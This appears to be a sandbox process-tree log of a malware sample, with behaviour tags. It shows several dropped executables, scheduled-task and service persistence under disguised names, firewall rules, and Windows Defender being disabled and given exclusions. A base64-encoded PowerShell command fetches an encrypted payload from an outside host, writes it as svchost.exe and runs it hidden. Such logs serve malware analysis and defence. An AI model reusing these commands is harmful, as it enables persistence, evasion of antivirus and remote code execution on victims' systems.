C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=27 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=5796 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=28 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6376 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=29 --always-read-main-dll --field-trial-handle=2580,i,14847467580832253771,15389146651321784607,262144 --disable-features=PaintHolding --variations-seed-version --log-level=3 --mojo-platform-channel-handle=6432 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\klr.exe"C:\Users\Admin\AppData\Local\Temp\a\klr.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe"C:\Users\Admin\AppData\Local\Temp\a\file_3dfa6b71eb1f52a6.exe"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"' & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "vortex" /tr '"C:\Users\Admin\AppData\Roaming\vortex.exe"'5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpD1FF.tmp.bat""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 35⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\vortex.exe"C:\Users\Admin\AppData\Roaming\vortex.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b82f2dba4422534f.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe"C:\Users\Admin\AppData\Local\Temp\a\file_ac12f1da1bdab1e0.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe"C:\Users\Admin\AppData\Local\Temp\a\file_a8b257b458693ac9.exe"3⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\7.exe"C:\Users\Admin\AppData\Local\Temp\a\7.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8.exe"C:\Users\Admin\AppData\Local\Temp\a\8.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe"C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe"3⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /f /tn "JavaChecker_Admin" /tr "C:\Users\Admin\AppData\Local\Temp\a\JavaChecker.exe" /sc onlogon /rl highest4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe"C:\Users\Admin\AppData\Local\Temp\a\Ebu.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe"C:\Users\Admin\AppData\Local\Temp\a\file_37b904483beaa60e.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker_svc.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\php.exe"C:\Users\Admin\AppData\Local\Temp\a\php.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hilton.exe"C:\Users\Admin\AppData\Local\Temp\a\hilton.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Trails.a3x4⤵
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe"C:\Users\Admin\AppData\Local\Temp\a\acr-g1upd-639159296668701809.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\n.exe"C:\Users\Admin\AppData\Local\Temp\a\n.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exe"C:\Users\Admin\AppData\Local\Temp\a\loader.exe"3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
- Executes a command shell one-liner
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\install.exe"C:\Users\Admin\AppData\Local\Temp\a\install.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\finale.exe"C:\Users\Admin\AppData\Local\Temp\a\finale.exe"3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W6f43a91f"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\W6f43a91f\core.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe"C:\Users\Admin\AppData\Local\Temp\a\file_a6357da6a05d7266.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"C:\Users\Admin\AppData\Local\Temp\a\Isass.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe"C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\21.exe"C:\Users\Admin\AppData\Local\Temp\a\21.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-H2EVS8OGZK.tmp\21.tmp"C:\Users\Admin\AppData\Local\Temp\is-H2EVS8OGZK.tmp\21.tmp" /SL5="$5026C,2663286,871424,C:\Users\Admin\AppData\Local\Temp\a\21.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe"C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe"C:\Users\Admin\AppData\Local\Temp\a\kikikmoralibrary.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\310io44m\310io44m.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5FA8.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC1F706CBAFB96450684CC1AF9D48A2370.TMP"5⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yz20p34b\yz20p34b.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES649A.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC270AE92EBC5F468DB4828C2ECB9C9230.TMP"5⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 2 /tn "Microsoft\Windows\Windows Update Listner" /tr "C:\Windows\Media\mppr.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc minute /rl highest /mo 5 /tn "Microsoft\Microsoft Launcher" /tr "C:\Windows\InputMethod\SHARED\RC_ConnectedAccount.exe"5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc create "System Diagnostics Host" binPath= "C:\Windows\SysWOW64\SystemDiagnosticsHost.exe" obj= "LocalSystem" start= auto5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks." & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc description "System Diagnostics Host" "Monitors and manages system diagnostic tasks."5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc start "System Diagnostics Host" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc start "System Diagnostics Host"5⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes & exit4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="XCCProcess" dir=in action=allow program="C:\Windows\Media\mppr.exe" enable=yes5⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\Media\mppr.exe"C:\Windows\Media\mppr.exe"4⤵
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\sc.exesc query "System Diagnostics Host"6⤵
- Launches sc.exe
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit5⤵
- Executes a command shell one-liner
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"6⤵
- Modifies Windows Firewall
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\hg4wf1az.jve.bat""4⤵
- Executes a command shell one-liner
-
C:\Windows\system32\timeout.exetimeout 85⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exe"3⤵
-
C:\Users\Admin\AppData\Local\754d2e02-100a-429f-9a64-728ed9b20c1b\background.exe"C:\Users\Admin\AppData\Local\754d2e02-100a-429f-9a64-728ed9b20c1b\background.exe"4⤵
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AaQBrAG8AYgBvAHMAcwB0AC4AYwBjADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
